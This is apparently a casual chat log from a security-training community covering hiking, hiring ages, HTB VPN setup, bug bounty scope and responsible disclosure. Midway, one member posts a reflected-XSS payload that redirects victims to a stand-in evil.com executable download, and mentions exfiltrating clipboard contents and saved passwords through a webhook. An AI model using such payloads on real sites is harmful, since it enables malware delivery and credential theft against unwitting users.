general

[eternal mango]

No British, I thought the above gave that away hahah.. we like to moan.. "making a mountain out of a mole hill"

[rapid badger]

AH makes sense. Your highest peak is a basically a hill.

[eternal mango]

Not quiite

[molten bobcat]

I use that expression a lot

It means youre making something a bigger deal than it needs to be

[rapid badger]

RIght, I was thinking bunkers. The swiss have an insane amount of bunkers

[maiden anvil]

guilty as charged

[eternal mango]

Many properties in my home town had little bunkers as part of them, called Anderson Shelters

They were added all over the place as common shelters to protect from bombing raids during WW2. Tiny little spaces, but yeah

Intended to have nearby shelter available in case of a raid. We had one in the garden of a place I lived in as a kid.. had an old bed and other bits left in it. Was a little creepy.

[rapid badger]

Yep, the cold war paranoia was strong

[eternal mango]

Basically some corrugated iron buried in the ground with concrete lol

These were from WW2, not the cold war

[iron galleon]

^_^ OwO

[eternal mango]

Anywaaay.. moving on

Always love seeing the mountains in Bulgaria when flying to Greece

[rapid badger]

Some good hiking there for sure.

Last time I went I got hit by hail at 2800m

[eternal mango]

Spend most of my time glued to the window just staring.. unless it's cloudy

[eternal mango]

eeesh 😐

[rapid badger]

Yeah we were 30min from the peak and had to abort

[eternal mango]

Not done much with mountains, some in Wales.. one time, our "guide" led us up the mountain.. he knew where he was going.. apparently. We were totally off track, and under our feet water was running like a river. Then we got to the peak, and he admitted he was lost.

Used my phone to find the route down 🤣

[rapid badger]

Some pretty wild places around Wales and up in Scotland. Would love to explore there tbh

[turbid goblet]

what is global ranking? is that legit

[iron galleon]

👉👈

[turbid goblet]

meh cant post yet. i only have 24 flag how is my global rank #952?

[eternal mango]

We did Snowdon, down through the Pen-y-Pass, over Glyder Fawr and down Glyder Fach. Was for a half marathon charity thing. I didn't walk right for a fortnight afterwards. Really nice though, if you don't go while it's pissing it down (as we did on our practice run)

[sharp shuttle]

hey guys

guess what the average age of a new hire is now

[iron galleon]

😄

[eternal mango]

250k context

[sharp shuttle]

The average age of a new hire is now 43

[eternal mango]

....

[rancid snow]

yikes

[rapid badger]

Good news I am 34

[sharp shuttle]

i mean it shocked me

I thought it would be 28-32

[eternal mango]

We're definitely nowhere near that

But over the whole

That's shocking

[sharp shuttle]

What are we ganna do lads

[eternal mango]

Where was the study done? Curious for source

[dusky raft]

Hello

[rapid badger]

Everybody wants 5 years of experience plus cyber doesnt really hit me as a newbie field.

43 is bit crazy still

[sharp shuttle]

The average new hire in 2025 was 42 years old, up from 40-and-a-half in 2022 and 40 in 2016, according to a recent analysis by workforce data company Revelio Labs. It’s not the only sign Revelio found that the workforce is getting older as recent grads struggle to find jobs, according to the Washington Post:
From 2022 to 2025, the share of workers 25 and under shrank from 14.9% to 8.8%.
Hiring inflows for that younger set are down more than 45% from 2019, while inflows are up almost 80% for those 65 and over during that same period.
Customer-facing roles like sales reps, real estate agents, and office assistants, in particular, are being dominated by older workers, with the average age for these positions rising by two-and-a-half years since 2015.
Revelio chief economist Lisa Simon told the Post that usually when labor markets tighten, new hires get younger as more entry-level workers join up—but that’s not what’s happening now as companies prioritize experience in the age of AI.

[dusky raft]

Where do I ask questions ? about certifications mostly and technical stuff

[sharp shuttle]

Just ask

[dusky raft]

lol ok

[eternal mango]

I remember some posting a while ago.. asking for more years of experience in a language, than the language had been in existence for

[rapid badger]

It was some framework

😄

[sharp shuttle]

Yeah wasnt that react?

AngularJS

[eternal mango]

Oh, was it a framework?

[rapid badger]

FastApi i think

[eternal mango]

Something like that anyway

It was just mega

[rapid badger]

Nowdays you have the HR shitiness + llm slop. Its a nightmare

[eternal mango]

https://x.com/tiangolo/status/1281946592459853830

Sebastián Ramírez (@tiangolo)

I saw a job post the other day. 👔

It required 4+ years of experience in FastAPI. 🤦

I couldn't apply as I only have 1.5+ years of experience since I created that thing. 😅

Maybe it's time to re-evaluate that "years of experience = skill level". ♻

X · Jul 11, 2020, 1:40 PM

[sharp shuttle]

oh lmfao

[eternal mango]

Fly1carus wins 😄

[eternal mango]

But.. 43

That's mental

[turbid goblet]

@eternal mango how do we get a beer with u

[sharp shuttle]

In the 90's it was around 26

so it goes up a half year per year

[eternal mango]

Uhhhhm, conference or chance meeting?

I met someone from the platform in my local Tesco once

..but we didn't have a beer

[turbid goblet]

how about a trip with g0blin badge instead

[eternal mango]

What kind of trip..

[turbid goblet]

🙂

[eternal mango]

Anyway.. gonna try to get to some conferences this year

Need to get back out there

[turbid goblet]

are u NA

[dusky raft]

I had found a contact form in some website I was penetesting in a BBP
the contact form had an email input field
And luckily it accepted arguments like: "<>; etc
So after sending a XSS (like [e-mail]"><script>-----)
I had found in the response of the website that it accepted it "email: [e-mail]"><script>-----"

Is that enough to prove this is XSS or do I need to prove it got implemented and executed ?

[eternal mango]

UK

[turbid goblet]

rip

[eternal mango]

For a report, you must provide proof of impact.

[dusky raft]

How do I do that because I'm afraid I'm stuck into a blind XSS

[eternal mango]

Depends on the bounty scope and rules.

[molten bobcat]

I'm sorry sir. It's what we've feared most. You'll have to test it yourself.

[eternal mango]

Some may allow you to prove such a thing with a callback for the XSS, but many would not, as it'd be touching other users.

[molten bobcat]

I'm afraid we'll have to amputate.

[eternal mango]

Ruhroh

[molten bobcat]

God, he was just a boy.

https://tenor.com/view/why-the-fuck-are-you-in-my-tent-ser-lyonel-baratheon-daniel-ings-a-knight-of-the-seven-kingdoms-what-are-you-doing-in-here-gif-14358564155911984359

[eternal mango]

https://giphy.com/gifs/ZMWVIXVk7Q2sw

[dusky raft]

I've seen someone on an another platform who got rewarded only because he found out that he can send the arguments lol so I was highkey excited
https://hackerone.com/reports/1037714

Idk after taking an another look I'm not sure of it now

[tough oyster]

haha

[eternal mango]

Down to you to prove your finding, and demonstrate impact. Hard to say without more context, and general probably isn't the place to share.

[dusky raft]

Can you imagine that? I've been waiting for a response from the BBP staff and when I had decided to talk about it here they finally decided to comment on my submission after 17h of waiting

[eternal mango]

Hah, it happens

[dusky raft]

We appreciate your work on this submission, however, this type of issue is specifically listed as Out of Scope. Please carefully re-read the brief:

Cross-Site Scripting (XSS) submissions with technical severity of P3 (moderate) and P4 (Low)

This type of issue has been reported before and the customer confirmed the application you have reported does not support user accounts, no data is stored, the users can not log into this webpage, there is no account or data to compromise. As such, we will be closing this submission as Not Applicable. Your efforts are appreciated and we look forward to more submissions from you!

'='

Should've read it

[eternal mango]

Unlucky 🙁

[dusky raft]

All we can do now is to work harder on the next one ig

[rose elk]

Good luck

[eternal mango]

If you do have a valid XSS mind, look further than the app you found it on. Check policies. It's always possible to take an XSS further and impact related assets, which can then lead to a valid finding.. or at least, experience. So long as you stick to the scope, of course.

[muted olive]

Reflected XSS even without any user accounts can have impact...

but depends on their threat model

I would've taken that if it was me triaging, though

[eternal mango]

For sure.. better to fix it, even if it is marked down as out of scope.

Why risk, weak policies, csrf

[rose elk]

Also RCE btw, I found RCE and they said no critical info in the server (Severity: Info)

[muted olive]

There's a whole cheatsheet somewhere for reflected XSS too, I like this one the best:

<script>window.top.location.href='https://evil.com/endpoint/file.exe';</script>

[muted olive]

https://tenor.com/ldjbZySSzK8.gif

[eternal mango]

It's not just about alert(1)...

[rapid swallow]

T h e one piece

is reallll

[turbid goblet]

the real one piece is the friends we made along the way

[rapid swallow]

wholesome

[muted olive]

For this one specifically, the only thing the victim sees is basically nothing, they're on the legitimate site and suddenly get a file download request which looks like its from the same page they intended to visit

[eternal mango]

Nothing on CSRF on this blog post, but it shows what further impact an XSS could have https://g0blin.co.uk/xss-and-wordpress-the-aftermath/

[dusky raft]

had tried a webhook of mine lil bro recevied nothing but my GETs of reloading the website over and over

[muted olive]

you can do some cool stuff tbh

with a webhook

you can exfiltrate the victim's clipboard

[rose elk]

Btw they wanted me to privilege escalation on the server to accept it as a critical

[muted olive]

saved passwords

etc

[muted olive]

did you manage to do it?

or find any sensitive info?

[dusky raft]

Bruh

[rose elk]

I ignored and told them I'm a bug hunter atp not a full penetration tester

[rancid snow]

thats wild. Who said that, the triager or the client?

[dusky raft]

First time knowing that

[rancid snow]

bugcrowd triager has tried to get me to do some scope exceeding bs before and I was just like lol no and got it escalated

[dusky raft]

Is it by stealing some type of a cookie ?

[rancid snow]

no clipboard is accessible via js functions

[dusky raft]

Yea that's what I was thinking

[rose elk]

the client

[rancid snow]

crazy

at least them saying it doesn get feds knocking at your door lul

[dusky raft]

It would be funny to somehow XSS in a research about how bad XSS can be 😭

Is it better to get a hackthebox (CWES) or an ine (EWPTX)

[rose elk]

Yes, that could get you in legal trouble. Even though they gave me permission to do it, I chose not to

[eternal mango]

Heheh, good luck 🙂 It's a static site

[dusky raft]

At least let us try something by leaving a search input for the blogs or smth

[rancid snow]

yeah for sure. for context I found creds on a nasa subdomain for one of their developer employees. Bugcrowd triager told me to log in with the creds lol I pointed out that the nasa scope says to stop if any PII is found and that passwords would definately count

[eternal mango]

Damn messy.. triager should've known the scope as well as, no.. better than you

[rancid snow]

yup

[muted olive]

bugcrowd triager once told me "your POC shows the Net-NTLMv2 hash of the admin, however can you prove that you can actually login to the admin account with that"

[rose elk]

https://tenor.com/view/fbi-agent-gif-17540199569095667102

[eternal mango]

I remember stumbling on something there a while ago, with a reminder the password was "that funny russian word" after querying some endpoint

[warped plank]

Search would more likely be vulnerable to sqli than xss

[eternal mango]

I noped out.

It spat out a tone of private notes from accounts 🙈

[rancid snow]

and like with the context I found the creds at, it was entirely possible they werent valid. Id been perfectly okay if they just denied the report but like validation aint my job lol

[dusky raft]

And what happened after that? + LOL why would he even ask you to log in with a breached creds of an Important account (or any other account)
Are they trying to get you out of the BBP so they avoid paying for a dumb mistake ?

[muted olive]

I got a dev password on NASA once, but was duplicated... maybe I found the culprit

[eternal mango]

hahah

[rancid snow]

but go figure once nasa actually got involved they accepted

[rancid snow]

gitlab?

[muted olive]

lol then no

mine was on bitbucket

[rancid snow]

lul

[muted olive]

close enough

[rapid badger]

Some say half of NASA's budget is dealing with bug reports

[rancid snow]

oh shit maybe it was bitbucket

let me double check

[muted olive]

hahah

[rapid swallow]

nothing to d

do

im so bored

:/

[dusky raft]

Remember the kid who hacked NASA because of an open port If I'm right?

[warped plank]

Well then that some would be wrong... cos clearly their bug report triaging process isn't polished

[muted olive]

Dont know, lots of people have hacked NASA

but entirely possible

[muted olive]

hack NASA

[dusky raft]

This one was special cuz after that he decided to hack the freaking pentagon

[muted olive]

federal targets arent hard tbh

[warped plank]

Lots of people have also hacked the pentagon

[rancid snow]

nah I was right the first time, gitlab

[muted olive]

their job isn't online security as much as national security

[rapid swallow]

idk i need to do something else besides hacking rn

need a break today

[muted olive]

so thats two times a password has been committed anyway 🤣

[dusky raft]

So it would be cooler to hack HTB or smth

[muted olive]

Yeah

[rancid snow]

it was for a http basic auth endpoint so it was just b64 encoded lol

[muted olive]

.. Mine was also B64 encoded...

[alpine pumice]

why are you nerds here slay the spire 2 early access was released

[rancid snow]

maybe it was the same dev but on two locations lul

[dusky raft]

For a sec I thought that this was a new lab or smth you're right about the nerd point

[muted olive]

probably

[warped plank]

*buys game*
*cries cos I don't have enough time/ energy to play the game after work *

[rancid snow]

my game time is eaten up by mewgenics

[alpine pumice]

also a good game

[dusky raft]

I don't cry anymore atp I just look at my steam library in a disappointment

[rapid badger]

umm guys https://eol.jsc.nasa.gov/SearchPhotos/photo.pl?mission=STS088&roll=724&frame=66
wtf is that

[alpine pumice]

borg scout ship

[warped plank]

the death star

[eternal mango]

https://en.wikipedia.org/wiki/Black_Knight_satellite_conspiracy_theory

Debris

Nothing to do with birds

Nope.

[rapid badger]

Its a baloon

Obviously

[eternal mango]

High altitude swamp gas

• baloon

[muted olive]

found it

@rancid snow

[rancid snow]

nope different finding

for me the username is very clearly an employee username

[muted olive]

more interesting if that was the case

[rancid snow]

Yeah I found them on linkedin

the password was like 7 digits and four of em were NASA

[eternal mango]

....123?

🙈

[rancid snow]

youre 1/3rd right

[muted olive]

so either 1, or 2, or 3

[rancid snow]

thats how thirds work yeah

[muted olive]

probably their birthday or something

[eternal mango]

321..

[muted olive]

well

nice policy anyway

[rancid snow]

I think it makes it more egregious that bugcrowd told me what they did if theres other examples of this kind of issue too

[muted olive]

Their triagers are not as competent as they should be lol

They marked one of my NASA reports as P5

I sent back the same report with a few bolded sentences and some emojis in the headers

they accepted it as P3

[rancid snow]

lul they marked mine as P2

unrelated but my machine name sound like a a certain exploit market name and gemini has confused this as thinking I work for them and therefore is being extra helpful

[muted olive]

how many letters have you got from them?

[rancid snow]

just the 1 so far. I may go back at some time to hunt for a sexier issue

I wanted the letter just because someone that annoyed me was bragging about hacking nasa and Im just like pfft that doesnt mean it was hard necessarily

so spent a weekend at it even though I dont normally do bugbounties

[muted olive]

you should see how many people submit junk reports to NASA expecting that letter and not getting it...

"Here's a public FTP listing! GIVE ME MUH LETTER!!!"

[rose elk]

ngl, i was doing the same thing to get the Harvard letter in 2020

[rancid snow]

I do want to do the dutch t shirt thing at some point, just busy

[muted olive]

Too bad they closed their VDP

[muted olive]

Same, also the scope is very unclear

[rose elk]

oh fr?

[muted olive]

yup :(

otherwise i would've tried it by now

HEY WAIT A SEC, THEY HAVE OPENED IT UP 👀

Just rechecked and the form is open haha

https://cdn.discordapp.com/emojis/1308772568865574983.webp?size=128&animated=true

time to get harvard letter

[rose elk]

Good luck

[muted olive]

Found an issue already

[eternal mango]

Should've just gone to bed instead of pulling on a hunch.. now I gotta write a report. Tomorrow me problem 🤣

[muted olive]

I think I'd been sitting on it till it opened

[eternal mango]

At least tomorrow is Saturday

[still perch]

guys i am so lost on how to use a VM via VPN file i cannot find machine options in this ui and every tutorial i have found is just giving me more questions, i have a vm running parrot but cant figure out the vpn file bs

[maiden anvil]

openvpn the_vpn.file

[still perch]

alr im gonna try troubleshooting more ig

[eternal mango]

You need --config to point to the config file I think?

[alpine pumice]

naw

[eternal mango]

Really?

[rapid badger]

sudo openvpn <name>.ovpn 

dracula bro

[eternal mango]

When did that change

or did I just TIL

[alpine pumice]

you can use that but you don't need to

i've never used it

[eternal mango]

Fair enough 🙂

[still perch]

nah i legit dont know where to download the HTB specific vpn file. like i cant find an area on the site especially with this ui being different than the tuts im finding

[eternal mango]

Which platform, Labs or Academy?

[alpine pumice]

yeah i have no idea where it is on the new ui

academy for me

[rapid badger]

[eternal mango]

The VPN options in Academy are shown under sections which have interaction portions now

[still perch]

oml disregard anything i said. i must be directionally challenged or some shid. i was in academy, needed to be in labs

[eternal mango]

Doesn't look like there's a dedicated "change VPN" on the new design

[alpine pumice]

No, those are different. Labs is its own environment and the VPN file there won't work in Academy.

[still perch]

wth

i gotta learn the site more ig

[alpine pumice]

ok thanks i found it now

[eternal mango]

If you're working on app.hackthebox.com, then hit the "Connect" button in the top right of the page to grab your VPN config file. If on Academy, when you get to a section which requires interaction, you'll be presented with an option to either download your VPN config, or start a Pwnbox (..when Pwnbox is working again)

1. Labs
2. Academy

🙂

(Pwnbox are still impacted currently though AFAIK, it's being worked on.. )

[devout sail]

We know the reason yet?

[eternal mango]

We do, it's due to an issue with an upstream provider, like Emma said in #academy-announcements 😉

[devout sail]

Ah hidden channel xD

[eternal mango]

It is?

Shouldn't be, just #academy-announcements

[rancid snow]

probably means muted

[devout sail]

Yeh i mean, i didn't keep it in list

Cuz i only used labs

[eternal mango]

It was also in #labs-announcements

totally not being petty

[devout sail]

[eternal mango]

But yeah.. I'm sure they'll have the issue resolved soon, but I can't give any timeline, sorry

I don't know that much 😅 😅

[devout sail]

Was just curious

[warped plank]

[devout sail]

I don't even use pwnbox

[warped plank]

I occasionally use it when Im too lazy to boot a VM, but booting a VM'd probably be faster...

[rose elk]

Are there actually rewards coming besides the badges?

[rancid heron]

the 1 and 2 year streaks 🙁

[rose elk]

I’m close to 3 years, I hope they add a badge for the 3-year streak

[rancid heron]

are you on an annual subscription?

[rose elk]

My subscription has expired a while ago

[warped plank]

Soon ™

[manic anvil]

bro why is browser cache giving me a server side error?

like the website was giving me 500 error code and deleting the cache solved it?

[warped plank]

Cos browsers don't look at what it saves, it just saves it and since 500 is server sided the browser stores the response.

[manic anvil]

there iss no way i got trolled by a browser for two days

[copper wharf]

If he does a hard refresh, should it fix completely or just for the current session

[warped plank]

Just so happens that hard refresh clears the cache for the current site

[copper wharf]

So next time he opens, it'll be the same?

[warped plank]

No cos it clears the cache and caches the new responses

[copper wharf]

Ahhh

Ok understood

Cool

[ornate trench]

hi guys is it appropriate channel to talk about von problems ?

[eternal mango]

Can happen if the cache policy response headers are not adjusted based upon response code.. like.. for an endpoint you want to have cached client side for an hour, that behaviour can be requested in the response headers, which browsers should respect (unless you have something like Disable cache enabled in dev tools).. that counts for any response, if it's stated. So yeah.. guess your browser "correctly" cached a response, even though it gave a 500 status response.

Was this HTB? 👀

[warped plank]

304s go brrrr

[manic anvil]

yeah the academy

[copper wharf]

It happened to me too, so I was curious

[eternal mango]

Do you recall what the request was? Curious what the cache policy is now

[rancid snow]

Upsides of employing automated vuln strategies: lots of interesting hits!
Downsides of employing automated vuln strategies: spending hours building up an exploit path and then setting up a lab to test it against only for it to not work, spend a few more hours debugging just to finally confirm that there is either no vuln or conditions required makes the exploit pointless. One down dozens more to repeat.

[warped plank]

Lesson learned: don't automate shit

[manic anvil]

when i switched to the new UI like i switched to it then presssed continue module and it got stuck like that

[eternal mango]

Was there like an error message or anything?

[warped plank]

So gonna assume a new caching method is what they meant by "optimized performance"

[rancid snow]

nah Im having fun lol Im just ready for bed now and stopping at a failure is better than stopping at the beginning of a new rabbit hole that will keep me awake thinking

[warped plank]

But you can't end it on a loss...

[manic anvil]

it sswitched the ui normally but then anything else got me the costume 500 error webpage forr HTB , then i couldnt enter the website because it kept loading the error webpage

[rancid snow]

most of my evening was spent developing the automation workflow in the first place, so thats already a win in my books(esp if it does lead to some bugs this weekend).

[eternal mango]

Last question, promise.. do you recall what kinda time that started?

Wish I could dig deeper, but I don't have access, so can only pass on this info when people are up.

[manic anvil]

yesterday 12 pm UTC +1

[eternal mango]

Damn, well that doesn't line up with what I was looking at 🤣 I'll pass it on to the team anyway, see if they can see the cause.

[graceful pendant]

late night guy

[eternal mango]

Yeah I fucked up.

Said earlier I wasn't gonna stay up

Guess what happened.

[scenic maple]

said bro calmly while loosing the 10th ranked match in a row in 3 am

[warped plank]

Bold of you to assume it's only been the 10th loss

[scenic maple]

mama raised no quitter

[quasi ridge]

wooo

[warped plank]

Meanwhile me alt+f4~ing the moment the match is over

[scenic maple]

[austere sigil]

Hi all

[ocean marsh]

anyone here did offshore? I just need a quick sanity check

[obsidian tartan]

Hey all, I just found an XSS vulnerability on a website by pure coincidence. The CWES path is already paying off, and I haven't even sat for the exam.

I do have two questions for you experienced folks:

1. How should I contact the administrators and can I get in trouble for this? I haven't gone further, I currently have two PoCs, one demonstrating HTML injection, and another one demonstrating JS injection.
2. I'd love to get a letter from them acknowledging I found this vulnerability, is it common to ask?

Thanks a lot.

[ocean marsh]

Congrats!!

[cerulean bloom]

#1: be careful, are you in scope?
#2: for bug bounties, it should tell you where you have to submit and how to submit your report

[eternal mango]

Exactly.. if you're testing a target, you should have permission, and through permission likely contact details.

[obsidian tartan]

Thats the thing, this isn't even a bug bounty, I visited a website, noticed some funny parameters, tried a payload, and.. it worked.

[eternal mango]

Scope and permission. Two of the most important words.

[fierce vale]

that's tricky

[eternal mango]

You could try to reach out to the site operators, but you shouldn't really go poking about without permission, no matter how good your intent may be

Do they have a security.txt even?

[obsidian tartan]

nope

[cerulean bloom]

yeah, you probably shouldn't do that......
you need to check their possible bug bounties and see if it is in scope. If they do have a bug bounty program and your vuln is in scope, then submit
g0blin will probably know what to do if it isn't, cuz I don't

[eternal mango]

Then personally I'd warrant caution.

[fierce vale]

they would have to prove in court your criminal intention if it goes that way

[eternal mango]

Your finding may be met with gratitude, or may not

[austere sigil]

Security people are the enemy if not explicitly asked

[obsidian tartan]

What an interesting dilema. This website has some of my PII, would that be of any use in justifying me warning them?

[austere sigil]

It depends really

[eternal mango]

I've been in your position before. An accidental finding, in that case a financial instituion with my PII (and money). An honest accidental finding

Honestly there are two things you can do.

One would be, nothing.

[austere sigil]

It really depends on how they are, many react with emotions so they made say/do something that is not what you expect

[eternal mango]

The other would be to carefully reach out to them, perhaps via their data privacy contact. Don't just roll in going "hey you have this vuln in your website it's x y z", and by NO MEANS ask for a reward

[austere sigil]

in my case, some are silent, some do nothing, some fix the vulnerability and thank me for it, and other want to drop bombs on my house

[eternal mango]

Simply ask for their policy on reporting of potential concerns regarding site vulnerabilities

BUT.. there is risk there, if you are associated with them, e.g. have an account

The safest thing would be to do nothing, and in future abstain without permission

The best intentions are not always met with the best response

[obsidian tartan]

Some additional context: The reason I went poking around is that about a year ago, I noticed that these same people had a directory exposed to the internet that had all of the data of their registered users available. I found this by Googling my name, I told them, and they fixed it quite quickly.

Would finding this email and replying all with this new vulnerability be a smart thing to do? We have history and they know my intentions are good.

[eternal mango]

If you've had prior contact like that, that changes things

[fierce vale]

that's a bit different

[eternal mango]

But still, approach carefully. Ask if they have a reporting policy in place first

If they don't have one after having all of the data of their registered users available in a directory from over a year ago

...I would probably not be a customer of theirs anymore

But yeah. Tread carefully, reach out to your previous contact, see if they have a policy in place now.

[sturdy thistle]

Happy Friday!

[obsidian tartan]

Thanks a lot guys, this is the first time I have found something like this and want to be really careful. So, reach out again, and ask if they have a security policy, got it. What if they say no @eternal mango?

[eternal mango]

Then I'd ask them to remove your PII and forget it tbh

Disclaimer, I'm not a security professional, but have been part of responsible disclosure and some touchy disclosure from personal research previously

Others very well probably have better advice than I do

See what your contact says, and go from there 🙂

[fierce vale]

ask a lawyer ultimately

that's always the best bet

[obsidian tartan]

I just remembered I reached out to them via WhatsApp, so I don't have a way to Reply All

[obsidian tartan]

I will probably do this, better safe than sorry.

...

I promise I am not making this up. I just found their control panel exposed to the internet, again, and I can see the PII of people, there is even an option to delete data.

[eternal mango]

jfc just stop

[obsidian tartan]

names, emails, phone numbers and addresses

[eternal mango]

If you're seeing other peoples PII you've gone way past XSS

Stop prodding, speak to a lawyer.

[obsidian tartan]

This second discovery is not part of an exploit chain, its literally accessible via Google

[mystic harbor]

One of friends got hired to the company cause he found bugs on their website

[mystic harbor]

This is too common ain't it, Idk how many websites I have found that shit

[eternal mango]

If you're touching PII, you really should just step back and either obtain their policy on reporting security issues, or get actual advice from someone that doesn't have a 0 in their name

Like, an actual person in real life

😅

But yeah.. take notes fine, but moment you touch PII I'd step off

Doesn't matter if it's able to be found on Google or not, you accessed it

[sturdy thistle]

yeah never touch pii

[mystic harbor]

@eternal mango wanna know a funny story maybe not funny, There's a company that says they work with AWS and cloud, "#Cyber experts for 5 years". And they are leaking all their database just like that don't even have to work for it, Just the API

[sturdy thistle]

surprise backup

[graceful pendant]

you stayed up lel

[obsidian tartan]

Alright. I closed the website and I am going to bed. I will speak to a lawyer tomorrow and go from there. Thank you for your help everyone, I appreciate it.

[graceful pendant]

us germans are slaves to GDPR

fear the datenschutz

(every company breaks gdpr constantly but they can fine you for a shit load)

[fierce vale]

yeah this must not be in EU

[lyric trellis]

Yeah "speak to a lawyer tomorrow" heavily implies USA

Also howdy everyone

[sturdy thistle]

i mean if they foudn out he touched PII unauthorzied, even in a good intend - it can ends bad for him

[lyric trellis]

100%, if I were a company and I had the means (and I were an American company and an American committed the transgression) then I'd also sue for several bajillion dollars, or however they arbitrarily do it over there

[eternal mango]

Let's move on, they got advice and are going to do the right thing.

[graceful pendant]

yeah, dl it and sell it on the darkweb

for legal reasons this is a joke

[lyric trellis]

Truly the safer way of doing things

In Minecraft

[eternal mango]

https://giphy.com/gifs/tophermcgee3-SaYGPKNDHlNeAAbarx

[graceful pendant]

make urself some eggies

[sturdy thistle]

so you didn't slept

[graceful pendant]

real men dont sleep mick

they type instead

[eternal mango]

It was an accident

[graceful pendant]

and then regret not sleeping

those morning hours... they are so tranquil

[eternal mango]

Off work this week thankfully.

[eternal mango]

Yup.. love the silence and still

[sturdy thistle]

i will do some work on wekend

[graceful pendant]

I designed SUCH a heavy CTF scenario

its legit too expensive to spin up just "for fun"

[eternal mango]

Brutal

[graceful pendant]

AD is like... 2 heavy...

mfw im working on my honeymoon

okay im going 2 bed

[eternal mango]

GO TO SLEEP @graceful pendant FFS

Always staying up late

[west venture]

Hello

[eternal mango]

Despicable

[graceful pendant]

https://giphy.com/gifs/chuber-hypocrisy-hypocrite-lN2gYvEifKSxG2OpIN

[sturdy thistle]

oh now i get the big picture

[lyric trellis]

I wish HTB Academy had a light mode 😔 dark mode makes me feel like I'm reading creepypasta or something

[sturdy thistle]

you stayed up to tell him to go to bed

[scenic maple]

goblin did u even sleep last night

[meager kernel]

Ew

[graceful pendant]

as good friends do

[meager kernel]

Light mode sucks

[ocean marsh]

oh hell nahhh

[graceful pendant]

sometimes i like light mode

[meager kernel]

Dark mode is best

[eternal mango]

My sleep pattern has been pretty good, almost too good recently due to reasons

This is first time I've lapsed like this in a while

[sturdy thistle]

so time to fuck it again

[muted olive]

hello chat

[graceful pendant]

o7

[ocean marsh]

hi hades

[lyric trellis]

The only times I like dark mode are in a terminal or in a text editor but that's it

[fierce vale]

https://tenor.com/view/yakuza-friday-chill-yakuza0-majima-gif-20346943

[lyric trellis]

Reading docs, nah, it has to be light

[supple plume]

No hello

[mystic harbor]

Imagine reading a module for 3 hrs

[ocean marsh]

imagine reading

[lyric trellis]

Imagine dragons

[ocean marsh]

imagine

[mystic harbor]

Image

[supple plume]

Decoy

[meager kernel]

[ocean marsh]

img

[muted olive]

i

[supple plume]

.

[eternal mango]

..first things second https://www.youtube.com/shorts/K5jk1Fua-V4

[lyric trellis]

⠀

[meager kernel]

I will try Pirate again today

[scenic maple]

i had a css file for light mode users but the new academy has changed i would have to rewrite it

[ocean marsh]

kratos stop flirting on my dms bro

[meager kernel]

Ew wtf

[meager kernel]

No, I will keep doing it

[scenic maple]

not people have same eyes some have it for light mode
some even have accessibility issues

[still perch]

ty for verifying this, i was so damn lost because on my end because i dont have the vpn option by the pwnbox section on academy.

[lyric trellis]

I love this creator 😭

[eternal mango]

Don't worry @mystic harbor, I got you https://www.youtube.com/watch?v=0gtTd4DWYs8

[scenic maple]

i see this as a noble contribution to that one user who liked and used it

[meager kernel]

LIGHT MODE EWWWWWW DISGUSTINGGGGGG

[eternal mango]

So goood

[graceful pendant]

I made a claude agent framework called slavedriver

[scenic maple]

https://tenor.com/view/cat-kitty-feline-meme-funny-gif-7000720352064261872

[lyric trellis]

Imagine reading a book with black pages and white text 🥀

[meager kernel]

If it was possible, I would

[mystic harbor]

The, 'libabehe8svasurgreifjdfkfkffkrhdjfkfkrrkrkrkk' song.

[lyric trellis]

I'm just thinking about how much it would cost in printer ink ngl

[still perch]

https://tenor.com/view/breaking-bad-gif-26346231

[meager kernel]

Unfortunately black paper with white ink is not economically feasable

[ocean marsh]

I have some black post its

[supple plume]

https://tenor.com/view/breaking-bad-gif-26346231

[ocean marsh]

so fire

ngl

[still perch]

goat

[muted olive]

https://www.youtube.com/watch?v=lRavzcSnS9U

[eternal mango]

Send to FAX, invert image

Black on white

[muted olive]

its been 6 years since ive seen that

[eternal mango]

..no, white on black

🤣

Just don't leave it in the sun

[mystic harbor]

[meager kernel]

Btw guys

My college detained me from giving exams cause I had low attendance

Yk why I had low attendance?

[mystic harbor]

White theme extension

[meager kernel]

Cause I had a job

[scenic maple]

suffering from success

[lyric trellis]

They straight up imprisoned you

[graceful pendant]

[eternal mango]

But... aren't you working with your college?

[meager kernel]

College, which is meant to help me get a job, detains me from going to college, CAUSE I GOT A FUCKING JOB

[scenic maple]

remote is good
but not always possible

[eternal mango]

Or have I got the wrong person

[meager kernel]

No, I'm working in a different company

As a junior pentester intern

[eternal mango]

Ok, wrong person then

[meager kernel]

Sort of a job

[graceful pendant]

im working for the dark side

https://giphy.com/gifs/dark-side-6x4CLjC8KofaU

[meager kernel]

Why is college so fucking stupid

[eternal mango]

Any possibility of an appeal?

[graceful pendant]

why is it nighttime, but sometimes its day time

[scenic maple]

appeal of not going to it? as in only exams

that doesnt usually work in third world places

i tried

[eternal mango]

Appeal of having another chance another time

[mystic harbor]

https://chromewebstore.google.com/detail/force-light-mode/mafafghcgiinbpldecfhdchfjemphkid

[lyric trellis]

Oh hell yeah

[graceful pendant]

I ❤️ technical debt

[meager kernel]

I tried all I could
Showed them my bug bounty cert, which I got from them.
Showed them my internship offer letter

My head of department teacher was very happy to me, and appealed on my behalf, but unfortunately my counselor teacher just doesn't like me

[mystic harbor]

[scenic maple]

this is how they will react

[meager kernel]

What a fucking irony

Apparently getting internship in second year is a sin 😭😭

[eternal mango]

Well.. I guess just keep doing what you're doing, excell in your position and keep kicking arse

[meager kernel]

Tf do i do now

[lyric trellis]

I feel like I can SEE again

[eternal mango]

A shame to lose out on the college degree

[mystic harbor]

Get in 5th year

[eternal mango]

but experience on your cv will take you a long way

[meager kernel]

I'll still get my college degree, im not detained for the whole year 😭
Im just not allowed to give internal theory exams, thats all

[quasi ridge]

cue eternal irony of no experience -> no job -> no experience

[lyric trellis]

I don't have a college degree and I've worked in software for five years now

[pseudo crater]

how to get experience if I have no experience

[pine topaz]

The new academy looks awesome

[eternal mango]

I don't have a college degree and

I is here

[meager kernel]

And you created HTB

[eternal mango]

But that was a long time ago

[quasi ridge]

imo if you can hold the internship or turn it into a job, you're golden way more than a degree...and you can answer it in interviews to the positive.

[eternal mango]

Exactly this

[meager kernel]

Yea thats the plan

[quasi ridge]

the degree is meant to get you to that point anyway

[meager kernel]

Fuck this college 😭😭

[ocean marsh]

I agree

[scenic maple]

https://tenor.com/view/test-gif-2341822946696656132

[fierce vale]

just start building stuff and put it on github

[eternal mango]

Finish it if you can

but if you've got your foot in the door

[meager kernel]

Im tryna get better at AD

[eternal mango]

that's the best bet

[lyric trellis]

